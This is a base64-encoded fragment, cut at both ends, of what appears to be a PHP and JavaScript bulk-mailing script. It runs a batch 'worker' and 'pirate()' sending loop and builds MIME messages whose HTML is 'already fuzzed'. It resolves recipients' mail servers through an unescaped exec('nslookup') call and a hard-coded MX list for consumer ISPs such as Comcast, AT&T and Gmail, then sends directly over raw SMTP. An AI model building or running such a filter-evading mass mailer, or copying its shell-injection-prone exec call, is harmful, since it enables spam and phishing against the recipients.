JCQl3aW5kb3cuc3RvcCgpOwoJCQlwaXJhdGUoKTsKCQl9CgkJZWxzZSB7CgkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgeyBzZW5kaW5nVGltZXIoKTsgfSwgMjQwMDAwKTsKCQl9Cgl9CglmdW5jdGlvbiB3b3JrZXIoKSB7CgkJaW5pdE1haWxlck9iamVjdCgpOwoJCWlmICh0eXBlb2Ygd2luZG93LnN0YXJ0Q2hlY2tpbmcgIT0gJ3VuZGVmaW5lZCcgJiYKCQkJZG9jdW1lbnQucmVhZHlTdGF0ZSA9PSAiY29tcGxldGUiICYmCgkJCXR5cGVvZiBtYWlsZXJPYmplY3RGKCkgIT0gInVuZGVmaW5lZCIgJiYKCQkJKG1haWxlck9iamVjdEYoKS5tYWlsbGlzdC5sZW5ndGggPiAwIHx8CgkJCQlsb2NhbFN0b3JhZ2UubGFzdEJhdGNoLmxlbmd0aCA+IDApKSB7CgkJCXdpbmRvdy5zY3JvbGxUbygwLCAwKTsKCQkJLy9iZWZvcmUgcGlyYXRlIGlzIGNhbGxlZCBpbiwgd2Ugc2hvdWxkIG1vdmUgCgkJCS8vdW5zZW50IGluIGxhc3QgYmF0Y2ggYmFjayBpbnRvIHRoZSBxdWV1ZQoJCQlsb2coIndvcmtlciBpcyBjb250aW51aW5nLiIpOwoJCQkvL3dpbmRvdy5zdG9wKCk7CgkJCXBpcmF0ZSgpOwoJCX0KCQllbHNlIHsKCQkJc2V0VGltZW91dChmdW5jdGlvbiAoKSB7IHdvcmtlcigpOyB9LCAyMDAwKTsKCQl9Cgl9CglmdW5jdGlvbiBleHBvcnRNYWlsZXJPYmplY3RGKCkgewoJCXZhciBtYU8gPSBKU09OLnN0cmluZ2lmeShtYWlsZXJPYmplY3RGKCkpOwoJCWFsZXJ0KG1hTyk7CgkJY29uc29sZS5sb2cobWFPKTsKCX0KCS8vY2FsbHMKCXRyeSB7CgkJdG9wLmZyYW1lTG9hZGVkQWN0KCk7CgkJc2V0VGltZW91dChmdW5jdGlvbiAoKSB7IHdpbmRvdy5zdGFydENoZWNraW5nID0gMTsgfSwgMjAwMCk7Cgl9CgljYXRjaCAoZSkgeyB9Cgl3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcignc2Nyb2xsJywgd2luZG93LmNoZWNrUG9zaXRpb24sIGZhbHNlKTsKCXByZWZpbGwoKTsKCS8vYmVsb3cgc2hvdWxkIGJlIGNhbGxlZCBhdCByZWd1bGFyIGludGVydmFscwoJaWYgKHR5cGVvZiBsb2NhbFN0b3JhZ2UubnVtTWFpbEZhaWxlZCAhPSAndW5kZWZpbmVkJykgewoJCWJ5SWQoInNlbnQiKS5pbm5lckhUTUwgPSBsb2NhbFN0b3JhZ2UubnVtTWFpbFNlbnQ7CgkJYnlJZCgncmVsb2FkcycpLmlubmVySFRNTCA9IGxvY2FsU3RvcmFnZS5udW1iZXJPZlJlbG9hZHM7Cgl9Cgl2YXIgY291bnQgPSAwOyAvL25lZWRlZCBieSBjb3VudCBjaGVja2VyIGR1cmluZyBzZW5kaW5nLgoJc2V0VGltZW91dChmdW5jdGlvbiAoKSB7IHNlbmRpbmdUaW1lcigpOyB9LCAyNDAwMDApOwoKCTwvc2NyaXB0PgoJPD9waHAKCglmbHVzaCgpOwoJb2JfZmx1c2goKTsKCn0KCi8vc3RvcCBwcm9jZXNzaW5nIGZ1cnRoZXIgaWYgJF9QT1NUIGlzIGVtcHR5CmlmKGVtcHR5KCRfUE9TVCkpewoJZXhpdCgpOwp9CgovLz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci8vIEN1c3RvbSBNSU1FIGJ1aWxkZXIgZnVuY3Rpb25zIChyZXBsYWNlcyBQSFBNYWlsZXIpCi8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCi8qKgogKiBFbmNvZGUgc3RyaW5nIHRvIHF1b3RlZC1wcmludGFibGUgKGxpa2UgR28ncyBlbmNvZGVUb1F1b3RlZFByaW50YWJsZSkKICovCmZ1bmN0aW9uIGVuY29kZVRvUXVvdGVkUHJpbnRhYmxlKCRpbnB1dCkgewogICAgJGlucHV0ID0gc3RyX3JlcGxhY2UoJz0nLCAnPTNEJywgJGlucHV0KTsKICAgICRvdXRwdXQgPSAnJzsKICAgICRsZW4gPSBzdHJsZW4oJGlucHV0KTsKICAgIGZvciAoJGkgPSAwOyAkaSA8ICRsZW47ICRpKyspIHsKICAgICAgICAkY2hhciA9ICRpbnB1dFskaV07CiAgICAgICAgJGNvZGUgPSBvcmQoJGNoYXIpOwogICAgICAgIGlmICgkY29kZSA+IDEyNykgewogICAgICAgICAgICAkb3V0cHV0IC49ICc9JyAuIHN0cnRvdXBwZXIoZGVjaGV4KCRjb2RlKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJG91dHB1dCAuPSAkY2hhcjsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gJG91dHB1dDsKfQoKLyoqCiAqIFBhZCBsaW5lcyB3aXRoIHByb3BlciBDUkxGIGxpbmUgZW5kaW5ncyBmb3IgZW1haWwKICovCmZ1bmN0aW9uIHBhZExpbmVzKCR0ZXh0LCAkaXNCYXNlNjQgPSBmYWxzZSwgJGVvbCA9ICJcclxuIikgewogICAgJGxpbmVMaW1pdCA9ICRpc0Jhc2U2NCA/IDc2IDogNzU7CiAgICAkc29mdEJyZWFrID0gJGlzQmFzZTY0ID8gJGVvbCA6ICI9IiAuICRlb2w7CiAgICAkbGluZXMgPSBleHBsb2RlKCJcbiIsIHN0cl9yZXBsYWNlKCJcciIsICIiLCAkdGV4dCkpOwogICAgJHBhZGRlZCA9ICcnOwogICAgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lKSB7CiAgICAgICAgaWYgKHN0cmxlbigkbGluZSkgPiAkbGluZUxpbWl0KSB7CiAgICAgICAgICAgICRjaHVua3MgPSBzdHJfc3BsaXQoJGxpbmUsICRsaW5lTGltaXQpOwogICAgICAgICAgICAkcGFkZGVkIC49IGltcGxvZGUoJHNvZnRCcmVhaywgJGNodW5rcyk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHBhZGRlZCAuPSAkbGluZTsKICAgICAgICB9CiAgICAgICAgJHBhZGRlZCAuPSAkZW9sOwogICAgfQogICAgcmV0dXJuIHJ0cmltKCRwYWRkZWQsICRlb2wpOwp9CgovKioKICogRXh0cmFjdCBwbGFpbiB0ZXh0IGZyb20gSFRNTCAoc2ltcGxlIHZlcnNpb24pCiAqLwpmdW5jdGlvbiBleHRyYWN0UGxhaW5UZXh0RnJvbUhUTUwoJGh0bWwpIHsKICAgIC8vIFJlbW92ZSBzdHlsZSB0YWdzCiAgICAkaHRtbCA9IHByZWdfcmVwbGFjZSgnLzxzdHlsZVtePl0qPi4qPzxcL3N0eWxlPi9zaScsICcnLCAkaHRtbCk7CiAgICAvLyBDb252ZXJ0IDxhPiB0byAidGV4dCA8dXJsPiIKICAgICRodG1sID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcvPGFccysoPzpbXj5dKj9ccyspP2hyZWY9IihbXiJdKikiW14+XSo+KC4qPyk8XC9hPi9zaScsCiAgICAgICAgZnVuY3Rpb24oJG0pIHsKICAgICAgICAgICAgcmV0dXJuIHRyaW0oc3RyaXBfdGFncygkbVsyXSkpIC4gJyA8JyAuICRtWzFdIC4gJz4nOwogICAgICAgIH0sICRodG1sKTsKICAgIC8vIFJlbW92ZSBhbGwgb3RoZXIgdGFncwogICAgJHRleHQgPSBzdHJpcF90YWdzKCRodG1sKTsKICAgIC8vIENvbGxhcHNlIHdoaXRlc3BhY2UKICAgICR0ZXh0ID0gcHJlZ19yZXBsYWNlKCcvXHMrLycsICcgJywgJHRleHQpOwogICAgcmV0dXJuIHRyaW0oJHRleHQpOwp9CgovKioKICogQnVpbGQgZnVsbCBNSU1FIG1lc3NhZ2UgKG11bHRpcGFydC9hbHRlcm5hdGl2ZSBvciBtdWx0aXBhcnQvbWl4ZWQpCiAqICRodG1sTWVzc2FnZSAtIEhUTUwgY29udGVudCAoYWxyZWFkeSBmdXp6ZWQpCiAqICRwbGFpblRleHQgICAtIHBsYWluIHRleHQgYWx0ZXJuYXRpdmUgKGV4dHJhY3RlZCBmcm9tIEhUTUwpCiAqICRhdHRhY2htZW50UGF0aCAtIG9wdGlvbmFsIGZpbGUgcGF0aCBmb3IgYXR0YWNobWVudAogKiAkaWQsICRpZDIgICAgLSBnbG9iYWwgYm91bmRhcmllcyBnZW5lcmF0ZWQgZWFybGllcgogKi8KLyoqCiAqIEJ1aWxkIGZ1bGwgTUlNRSBtZXNzYWdlIHdpdGggY29ycmVjdCBDUkxGIGxpbmUgZW5kaW5ncwogKi8KZnVuY3Rpb24gYnVpbGRNaW1lTWVzc2FnZSgkaHRtbE1lc3NhZ2UsICRwbGFpblRleHQsICRhdHRhY2htZW50UGF0aCA9IG51bGwpIHsKICAgIGdsb2JhbCAkaWQsICRpZDI7CiAgICAkZW9sID0gIlxyXG4iOwogICAgCiAgICAvLyBFbmNvZGUgYW5kIHdyYXAgSFRNTCBwYXJ0CiAgICAkcXBIdG1sID0gZW5jb2RlVG9RdW90ZWRQcmludGFibGUoJGh0bWxNZXNzYWdlKTsKICAgICR3cmFwcGVkSHRtbCA9IHBhZExpbmVzKCRxcEh0bWwsIGZhbHNlLCAkZW9sKTsKICAgIC8vIEVuY29kZSBhbmQgd3JhcCBwbGFpbiB0ZXh0IHBhcnQKICAgICRxcFRleHQgPSBlbmNvZGVUb1F1b3RlZFByaW50YWJsZSgkcGxhaW5UZXh0KTsKICAgICR3cmFwcGVkVGV4dCA9IHBhZExpbmVzKCRxcFRleHQsIGZhbHNlLCAkZW9sKTsKICAgIAogICAgJG1pbWUgPSAiIjsKICAgIAogICAgaWYgKCRhdHRhY2htZW50UGF0aCAmJiBmaWxlX2V4aXN0cygkYXR0YWNobWVudFBhdGgpKSB7CiAgICAgICAgLy8gbXVsdGlwYXJ0L21peGVkCiAgICAgICAgJG1pbWUgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT1cIiRpZFwiIiAuICRlb2wgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICItLSRpZCIgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICJDb250ZW50LVR5cGU6IG11bHRpcGFydC9hbHRlcm5hdGl2ZTsgYm91bmRhcnk9XCIkaWQyXCIiIC4gJGVvbCAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIi0tJGlkMiIgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICJDb250ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9dXRmLTgiIC4gJGVvbDsKICAgICAgICAkbWltZSAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogcXVvdGVkLXByaW50YWJsZSIgLiAkZW9sIC4gJGVvbDsKICAgICAgICAkbWltZSAuPSAkd3JhcHBlZFRleHQgLiAkZW9sIC4gJGVvbDsKICAgICAgICAkbWltZSAuPSAiLS0kaWQyIiAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IHF1b3RlZC1wcmludGFibGUiIC4gJGVvbCAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gJHdyYXBwZWRIdG1sIC4gJGVvbCAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIi0tJGlkMi0tIiAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIi0tJGlkIiAuICRlb2w7CiAgICAgICAgCiAgICAgICAgLy8gQXR0YWNobWVudCBwYXJ0CiAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGF0dGFjaG1lbnRQYXRoKTsKICAgICAgICAkZmlsZURhdGEgPSBmaWxlX2dldF9jb250ZW50cygkYXR0YWNobWVudFBhdGgpOwogICAgICAgICRiYXNlNjQgPSBiYXNlNjRfZW5jb2RlKCRmaWxlRGF0YSk7CiAgICAgICAgJHdyYXBwZWRCYXNlNjQgPSBwYWRMaW5lcygkYmFzZTY0LCB0cnVlLCAkZW9sKTsKICAgICAgICAkbWltZSAuPSAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW07IG5hbWU9XCIkZmlsZW5hbWVcIiIgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiRmaWxlbmFtZVwiIiAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NCIgLiAkZW9sIC4gJGVvbDsKICAgICAgICAkbWltZSAuPSAkd3JhcHBlZEJhc2U2NCAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIi0tJGlkLS0iIC4gJGVvbDsKICAgIH0gZWxzZSB7CiAgICAgICAgLy8gbXVsdGlwYXJ0L2FsdGVybmF0aXZlIG9ubHkKICAgICAgICAkbWltZSAuPSAiQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7IGJvdW5kYXJ5PVwiJGlkXCIiIC4gJGVvbCAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIi0tJGlkIiAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBxdW90ZWQtcHJpbnRhYmxlIiAuICRlb2wgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICR3cmFwcGVkVGV4dCAuICRlb2wgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICItLSRpZCIgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICJDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBxdW90ZWQtcHJpbnRhYmxlIiAuICRlb2wgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICR3cmFwcGVkSHRtbCAuICRlb2wgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICItLSRpZC0tIiAuICRlb2w7CiAgICB9CiAgICAKICAgIHJldHVybiAkbWltZTsKfQoKLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQovLyBTTVRQIHNlbmRpbmcgZnVuY3Rpb25zICh1bmNoYW5nZWQgZnJvbSBvcmlnaW5hbCkKLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKJFNNVFBJTmhvbGQgPSBmc29ja29wZW4gKCRzbXRwU2VydmVyLCAkc210cFBvcnQpOwokU01UUElOID0gZmFsc2U7CiRuZXh0VG8gPSAnJzsKZnVuY3Rpb24gc3RhcnRUTFMoJGNvbm5lY3Rpb24pewogICAgaWYgKCEkdGhpcy0+c2VuZENvbW1hbmQoJ1NUQVJUVExTJywgJ1NUQVJUVExTJywgMjIwKSkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIC8vQWxsb3cgdGhlIGJlc3QgVExTIHZlcnNpb24ocykgd2UgY2FuCiAgICAkY3J5cHRvX21ldGhvZCA9IFNUUkVBTV9DUllQVE9fTUVUSE9EX1RMU19DTElFTlQ7CiAgICAgICAgLy9QSFAgNS42LjcgZHJvcHBlZCBpbmNsdXNpb24gb2YgVExTIDEuMSBhbmQgMS4yU1RSRUFNX0NSWVBUT19NRVRIT0RfVExTX0NMSUVOVAogICAgLy9zbyBhZGQgdGhlbSBiYWNrIGluIG1hbnVhbGx5IGlmIHdlIGNhbgogICAgaWYgKGRlZmluZWQoJ1NUUkVBTV9DUllQVE9fTUVUSE9EX1RMU3YxXzJfQ0xJRU5UJykpIHsKICAgICAgICAkY3J5cHRvX21ldGhvZCB8PSBTVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFN2MV8yX0NMSUVOVDsKICAgICAgICAkY3J5cHRvX21ldGhvZCB8PSBTVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFN2MV8xX0NMSUVOVDsKICAgIH0KICAgIC8vIEJlZ2luIGVuY3J5cHRlZCBjb25uZWN0aW9uCiAgICAvLypzZXRfZXJyb3JfaGFuZGxlcihbJHRoaXMsICdlcnJvckhhbmRsZXInXSk7CiAgICAkY3J5cHRvX29rID0gc3RyZWFtX3NvY2tldF9lbmFibGVfY3J5cHRvKAogICAgICAgICRjb25uZWN0aW9uLAogICAgICAgIHRydWUsCiAgICAgICAgJGNyeXB0b19tZXRob2QKICAgICk7CiAgICAvLypyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsKICAgIHJldHVybiAkY29ubmVjdGlvbjsKfQpmdW5jdGlvbiBnZXRteHIzKCRob3N0bmFtZSwgJiRteGhvc3RzLCBhcnJheSAmJG14d2VpZ2h0PW51bGwpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAkbXhob3N0cyA9IGFycmF5KCk7CgkJCQkgICBleGVjKCduc2xvb2t1cCAtdHlwZT1teCAnLiRob3N0bmFtZSwgJHJlc3VsdF9hcnIpOwogICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkcmVzdWx0X2FyciBhcyAkbGluZSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCIvLiptYWlsIGV4Y2hhbmdlciA9ICguKikvIiwgJGxpbmUsICRtYXRjaGVzKSkKICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzX3hvPWV4cGxvZGUoJyAnLCAkbWF0Y2hlc1sxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbXhob3N0c1tdID0gJHNfeG9bMV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbXh3ZWlnaHRbXSA9ICRzX3hvWzBdOyAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICByZXR1cm4gJG14aG9zdHM7Cn0KZnVuY3Rpb24gZW5hYmxlZF9mdW4oJGZ1bmMpIHsKCSRkaXNhYmxlZCA9IGV4cGxvZGUoJywnLCBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKTsKCXJldHVybiAhaW5fYXJyYXkoJGZ1bmMsICRkaXNhYmxlZCk7Cn0KZnVuY3Rpb24gZ2V0bXhycnIoJGRvbWFpbil7CgkKCWdsb2JhbCAkbGluZU1YcjsKCWlmIChpc19hcnJheSgkbGluZU1YcikgJiYgIWVtcHR5KCRsaW5lTVhyKSkgewoJCXJldHVybiAkbGluZU1YcjsKCX0KCSRteENhY2hlID0gYXJyYXkoKTsKCSRteENhY2hlWydhZGVscGhpYS5uZXQnXSA9IGFycmF5KCdkbnZyY28tY21lZGdlMDIuZW1haWwucnIuY29tJywnZG52cmNvLWNtZWRnZTAxLmVtYWlsLnJyLmNvbScpOwoJJG14Q2FjaGVbJ2F0dC5iaXonXSA9IGFycmF5KCdteDJjNDUuY2FycmllcnpvbmUuY29tJywnbXgxYzQ1LmNhcnJpZXJ6b25lLmNvbScsJ214NGM0NS5jYXJyaWVyem9uZS5jb20nLCdteDNjNDUuY2FycmllcnpvbmUuY29tJyk7CgkkbXhDYWNoZVsnYXR0aW5ldC5jb20nXSA9IGFycmF5KCdteC0xMTAucmVmbGV4aW9uLm5ldCcsJ214LTEwMC5yZWZsZXhpb24ubmV0JywnYXNwLnJlZmxleGlvbi5uZXQnKTsKCSRteENhY2hlWydhdHQubmV0J10gPSBhcnJheSgnZmYtaXA0LW14LXZpcDIucHJvZGlneS5uZXQnLCdhbC1pcDQtbXgtdmlwMi5wcm9kaWd5Lm5ldCcsJ2ZmLWlwNC1teC12aXAxLnByb2RpZ3kubmV0JywnYWwtaXA0LW14LXZpcDEucHJvZGlneS5uZXQnKTsKCSRteENhY2hlWydiZWxsc291dGgubmV0J10gPSBhcnJheSgnZmYtaXA0LW14LXZpcDIucHJvZGlneS5uZXQnLCdhbC1pcDQtbXgtdmlwMi5wcm9kaWd5Lm5ldCcsJ2FsLWlwNC1teC12aXAxLnByb2RpZ3kubmV0JywnZmYtaXA0LW14LXZpcDEucHJvZGlneS5uZXQnKTsKCSRteENhY2hlWydjaGFydGVyLmNvbSddID0gYXJyYXkoJ21haWwuY2hhcnRlcmNvbS5jb20nLCduY2UubWFpbC5jaGFydGVyY29tLmNvbScpOwoJJG14Q2FjaGVbJ2NoYXJ0ZXJpbnRlcm5ldC5uZXQnXSA9IGFycmF5KCdtYWlsLmNoYXJ0ZXJpbnRlcm5ldC5jb20nKTsKCSRteENhY2hlWydjaGFydGVyLm5ldCddID0gYXJyYXkoJ214MC5jaGFydGVyLm5ldCcpOwoJJG14Q2FjaGVbJ2NvbWNhc3QuY29tJ10gPSBhcnJheSgnbXhhLTAwMTQzNzAyLmdzbGIucHBob3N0ZWQuY29tJywnbXhiLTAwMTQzNzAyLmdzbGIucHBob3N0ZWQuY29tJyk7CgkkbXhDYWNoZVsnY29tY2FzdC5uZXQnXSA9IGFycmF5KCdteDEuY29tY2FzdC5uZXQnLCdteDIuY29tY2FzdC5uZXQnKTsKCSRteENhY2hlWydjb3guY29tJ10gPSBhcnJheSgnbXhiLTAwMmIzOTAxLmdzbGIucHBob3N0ZWQuY29tJywnbXhhLTAwMmIzOTAxLmdzbGIucHBob3N0ZWQuY29tJyk7CgkkbXhDYWNoZVsnY294aW5ldC5jb20nXSA9IGFycmF5KCdtYWlsLmgtZW1haWwubmV0Jyk7CgkkbXhDYWNoZVsnY294aW5ldC5uZXQnXSA9IGFycmF5KCdteC5jb3htYWlsLmNvbScpOwoJJG14Q2FjaGVbJ2NveC5uZXQnXSA9IGFycmF5KCdjeHIubXguYS5jbG91ZGZpbHRlci5uZXQnKTsKCSRteENhY2hlWydjcy5jb20nXSA9IGFycmF5KCdteC1hb2wubWFpbC5nbTAueWFob29kbnMubmV0Jyk7CgkkbXhDYWNoZVsnZWFydGhsaW5rLmNvbSddID0gYXJyYXkoJ214OS5lYXJ0aGxpbmsubmV0JywnbXg2LmVhcnRobGluay5uZXQnLCdteDcuZWFydGhsaW5rLm5ldCcsJ214OC5lYXJ0aGxpbmsubmV0Jyk7CgkkbXhDYWNoZVsnZWFydGhsaW5rLm5ldCddID0gYXJyYXkoJ214OC5lYXJ0aGxpbmsubmV0JywnbXg3LmVhcnRobGluay5uZXQnLCdteDYuZWFydGhsaW5rLm5ldCcsJ214OS5lYXJ0aGxpbmsubmV0Jyk7CgkkbXhDYWNoZVsnZXhjaXRlLmNvbSddID0gYXJyYXkoJ21haWwtaW4tZXhjaXRlLnJvYzIuYmx1ZXRpZS5jb20nKTsKCSRteENhY2hlWydqdW5vLmNvbSddID0gYXJyYXkoJ214LnZncy51bnRkLmNvbScsJ214LmRjYS51bnRkLmNvbScpOwoJJG14Q2FjaGVbJ2p1bm8ubmV0J10gPSBhcnJheSgnb3RoZXIuanVuby5jb20nKTsKCSRteENhY2hlWyduZXRzY2FwZS5jb20nXSA9IGFycmF5KCdtYWlsLm5ldHNjYXBlLmV2ZXJ5b25lLm5ldCcpOwoJJG14Q2FjaGVbJ25ldHNjYXBlLm5ldCddID0gYXJyYXkoJ214LWFvbC5tYWlsLmdtMC55YWhvb2Rucy5uZXQnKTsKCSRteENhY2hlWyduZXR6ZXJvLmNvbSddID0gYXJyYXkoJ214LmRjYS51bnRkLmNvbScsJ214LnZncy51bnRkLmNvbScpOwoJJG14Q2FjaGVbJ25ldHplcm8ubmV0J10gPSBhcnJheSgnbXguZGNhLnVudGQuY29tJywnbXgudmdzLnVudGQuY29tJyk7CgkkbXhDYWNoZVsncGVvcGxlcGMuY29tJ10gPSBhcnJheSgnbXg2LmVhcnRobGluay5uZXQnLCdteDkuZWFydGhsaW5rLm5ldCcsJ214OC5lYXJ0aGxpbmsubmV0JywnbXg3LmVhcnRobGluay5uZXQnKTsKCSRteENhY2hlWydzYmNnbG9iYWwubmV0J10gPSBhcnJheSgnYWwtaXA0LW14LXZpcDEucHJvZGlneS5uZXQnLCdmZi1pcDQtbXgtdmlwMS5wcm9kaWd5Lm5ldCcsJ2ZmLWlwNC1teC12aXAyLnByb2RpZ3kubmV0JywnYWwtaXA0LW14LXZpcDIucHJvZGlneS5uZXQnKTsKCSRteENhY2hlWyd2ZXJpem9uLm5ldCddID0gYXJyYXkoJ214LWFvbC5tYWlsLmdtMC55YWhvb2Rucy5uZXQnKTsKCSRteENhY2hlWyd3b3JsZG5ldC5hdHQnXSA9IGFycmF5KCdmZi1pcDQtbXgtdmlwMi5wcm9kaWd5Lm5ldCcsJ2ZmLWlwNC1teC12aXAxLnByb2RpZ3kubmV0JywnYWwtaXA0LW14LXZpcDIucHJvZGlneS5uZXQnLCdhbC1pcDQtbXgtdmlwMS5wcm9kaWd5Lm5ldCcpOwoJJG14Q2FjaGVbJ2dtYWlsLmNvbSddID0gYXJyYXkoJ2dtYWlsLXNtdHAtaW4ubC5nb29nbGUuY29tJywnYWx0MS5nbWFpbC1zbXRwLWluLmwuZ29vZ2xlLmNvbScsJ2FsdDIuZ21haWwtc210cC1pbi5sLmdvb2dsZS5jb20nLCdhbHQzLmdtYWlsLXNtdHAtaW4ubC5nb29nbGUuY29tJywnYWx0NC5nbWFpbC1zbXRwLWluLmwuZ29vZ2xlLmNvbScpOwoJaWYgKGlzc2V0KCRfU0VTU0lPTlskZG9tYWluXSkpIHsKCQkkbXhDYWNoZVskZG9tYWluXSA9IGV4cGxvZGUoIiwiLCAkX1NFU1NJT05bJGRvbWFpbl0pOwoJfQoJaWYgKGlzc2V0KCRteENhY2hlWyRkb21haW5dKSkgewoJCXJldHVybiAkbXhDYWNoZVskZG9tYWluXTsKCX1lbHNlewoJCWlmICghZW5hYmxlZF9mdW4oJ2V4ZWMnKSkgewoJCQlnZXRteHIzKCRkb21haW4sICRteHIpOwoJCX1lbHNlewoJCQlnZXRteHJyKCRkb21haW4sJG14cik7CgkJfQoJCSRfU0VTU0lPTlskZG9tYWluXSA9IGltcGxvZGUoIiwiLCAkbXhyKTsKCQlyZXR1cm4gJG14cjsKCX0KfQpmdW5jdGlvbiBnZXRDb25uZWN0aW9uKCRyZWNpcGllbnQ9JycpewoJaWYgKGlzc2V0KCRfR0VUWydjaHVuayddKSkgewoJCXByaW50ICI8Zm9udCBjb2xvcj1cIndoaXRlXCI+PGI+ZXN0YWJsaXNoaW5nIG5ldyBjb25uZWN0aW9uPC9iPjwvZm9udD48YnI+IjsKCX0KCSRzbXRwU2VydmVyID0gaXNzZXQoJF9HRVRbJ3NlcnZlciddKT8kX0dFVFsnc2VydmVyJ106IjEyNy4wLjAuMSI7CglpZiAoaXNzZXQoJF9HRVRbJ2RpcmVjdHNlbmQnXSkpIHsKCQlsaXN0KCR1c2VyLCAkZG9tYWluKSA9IGV4cGxvZGUoIkAiLCAkcmVjaXBpZW50KTsKCQkkc3R0aW1lID0gbWljcm90aW1lKHRydWUpOwoJCSRteFJlY29yZHMgPSBnZXRteHJycigkZG9tYWluKTsKCQlmb3JlYWNoICgkbXhSZWNvcmRzIGFzICRzbXRwU2VydmVyKSB7CgkJCSRzbXRwU2VydmVyID0gZ2V0aG9zdGJ5bmFtZSgkc210cFNlcnZlcik7CgkJCSRzbXRwU2VydmVyID0gaXNzZXQoJF9HRVRbJ3NlcnZlciddKT8gJF9HRVRbJ3NlcnZlciddIDogJHNtdHBTZXJ2ZXI7CgkJCSRzbXRwY29ubiA9IGZzb2Nrb3BlbiAoJHNtdHBTZXJ2ZXIsIDI1KTsKCQkJaWYgKCRzbXRwY29ubikgewoJCQkJcmV0dXJuICRzbXRwY29ubjsKCQkJfQoJCX0KCQkKCgl9CgkvL2VjaG8gJHNtdHBTZXJ2ZXI7Cgkkc210cFBvcnQgPSAyNTsKCSRzbXRwY29ubiA9IGZzb2Nrb3BlbiAoJHNtdHBTZXJ2ZXIsICRzbXRwUG9ydCk7CglpZiAoISRzbXRwY29ubikgewoJCS8vdHJ5IGFnYWluCgkJJHNtdHBTZXJ2ZXIgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CgkJJHNtdHBjb25uID0gZnNvY2tvcGVuICgkc210cFNlcnZlciwgJHNtdHBQb3J0KTsKCQlpZiAoISRzbXRwY29ubikgewoJCQkkc210cFBvcnQgPSA1ODc7CgkJCSRzbXRwU2VydmVyID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwoJCQkkc210cGNvbm4gPSBmc29ja29wZW4gKCRzbXRwU2VydmVyLCAkc210cFBvcnQpOwoJCQlpZiAoISRzbXRwY29ubikgewoJCQkJJHNtdHBTZXJ2ZXIgPSBpc3NldCgkX0dFVFsnc2VydmVyJ10pPyRfR0VUWydzZXJ2ZXInXToiMTI3LjAuMC4xIjsKCQkJCSRzbXRwY29ubiA9IGZzb2Nrb3BlbiAoJHNtdHBT